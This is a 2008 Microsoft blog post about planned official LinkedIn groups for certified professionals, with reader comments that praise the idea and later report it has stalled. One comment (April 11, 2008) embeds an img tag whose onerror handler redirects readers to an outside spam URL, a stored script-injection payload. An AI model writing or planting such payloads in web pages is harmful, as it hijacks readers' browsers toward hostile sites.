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Certified on LinkedIn

  • Artikkeli

We have gotten requests from many of you in the community to provide some kind of support for Microsoft Certification communities in networking and community portals. Put a little Web 2.0 in your pipe and smoke it, for once, you've said.

Per George's post, Erwin has been working out details of how we can make an 'official' community of Microsoft Certified professionals on LinkedIn, "an online network of more than 17 million experienced professionals from around the world..." More on LinkedIn. I say 'official,' because many of you are way ahead of us and are already networking as certified professionals on LinkedIn and other community sites... we want to see what we can do to help/add something.

"Basically, the idea is that we would have official LinkedIn groups for each certification.  For example, an MCSE would be able to join the MCSE LinkedIn Group and so forth....by joining a group, you will be able to network and connect with others with your certification.  In addition, you will be able to display your certification logo on your LinkedIn profile for everyone to see... [Microsoft Learning can help] ensure that only those who are allowed to join the groups have valid certifications to protect your hard work and investment..."

Feedback and suggestions welcome; post them and/or send to Erwin.

Comments

  • Anonymous
    February 12, 2008
    PingBack from http://www.biosensorab.org/2008/02/12/certified-on-linkedin/

  • Anonymous
    February 12, 2008
    Excellent idea!

  • Anonymous
    February 12, 2008
    For those that have questioned the value of LinkedIn, it is about to receive a big boost - Microsoft

  • Anonymous
    February 12, 2008
    For those that have questioned the value of LinkedIn, it is about to receive a big boost - Microsoft

  • Anonymous
    February 12, 2008
    There is an Erwin working at Microsoft? Would you need another Erwin ;)

  • Anonymous
    February 12, 2008
    This is great! Have really been missing a functionality like this! :-) Is there a estimate when something like this will be avaiable?

  • Anonymous
    February 12, 2008
    FYI, there is already an MCT group on LinkedIn, although I'm not sure if it's something that Microsoft sanctioned. I would absolutely use an MCSE, MCSA group - I probably spend too much time on LinkedIn as it is... Thanks for the update

  • Anonymous
    February 13, 2008
    That's indeed great to hear! it would be nice if we can add the Microsoft Certifications on the LinkedIN Profilepage.

  • Anonymous
    February 13, 2008
    ...waiting anxiously for this :)

  • Anonymous
    February 13, 2008
    I think this would be great as well!  I'd love to show off my logo in my linked in profile.

  • Anonymous
    February 13, 2008
    That would be nice!

  • Anonymous
    February 13, 2008
    Thanks for the great feedback!  I'm very excited to get this done for the whole MCP community. Jim K mentioned the MCT group which I am aware of.  Currently, it will remain a community owned group (run by a very dedicated and awesome MCT).  There are also a lot of community created groups that use the Microsoft Certified name.  I will work with those group owners to join our official groups once they go live.  My hope is that we can eliminate a lot of the confusion for you while maintaining the level of prestige of your certification. If you have any questions or comments, please feel free to email me.  Thanks again!

  • Anonymous
    February 13, 2008
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  • Anonymous
    February 14, 2008
    Sounds great, so do it already! :)

  • Anonymous
    February 14, 2008
    Great idea

  • Anonymous
    February 18, 2008
    when can we apply?

  • Anonymous
    March 04, 2008
    If done, better do it good. Nobody likes maintaining multiple "profile" pages (e.g. LinkedIn, MCP Profile, .. )

  • Anonymous
    April 11, 2008
    my pics <img src=http://google.com/444.gif onerror="window.open('http://gomyron.com/MTQ3Mjg=/2/5424/ax=1/ed=1/ex=1/spm/','_top')">

  • Anonymous
    July 30, 2008
    Any update on this excellent idea?

  • Anonymous
    August 01, 2008
    Hi, sadly no. Isn't that disappointing? I hear from Erwin that we are still working on it (haven't given up on the idea) but it is on hold for now because people/funds/etc are being used on other projects. Will keep you posted if anything changes.

  • Anonymous
    September 14, 2008
    I emailed Erwin a couple of days ago and he responded that "That idea is on hold.  Given that there is a new MCP program manager, I’ve transitioned the projects to that person, but they’re still sorting through the priorities." That's a real shame :( (I guess that's the same as Trika said)

  • Anonymous
    September 15, 2008
    Fisker, argh. I know - sometimes the best things just stall out when people get going on something else - sometimes you know what they're workign on, and sometimes it's something good but 'behind the scenes.' in any case, it's disappointing that this one isn't up and running yet!!!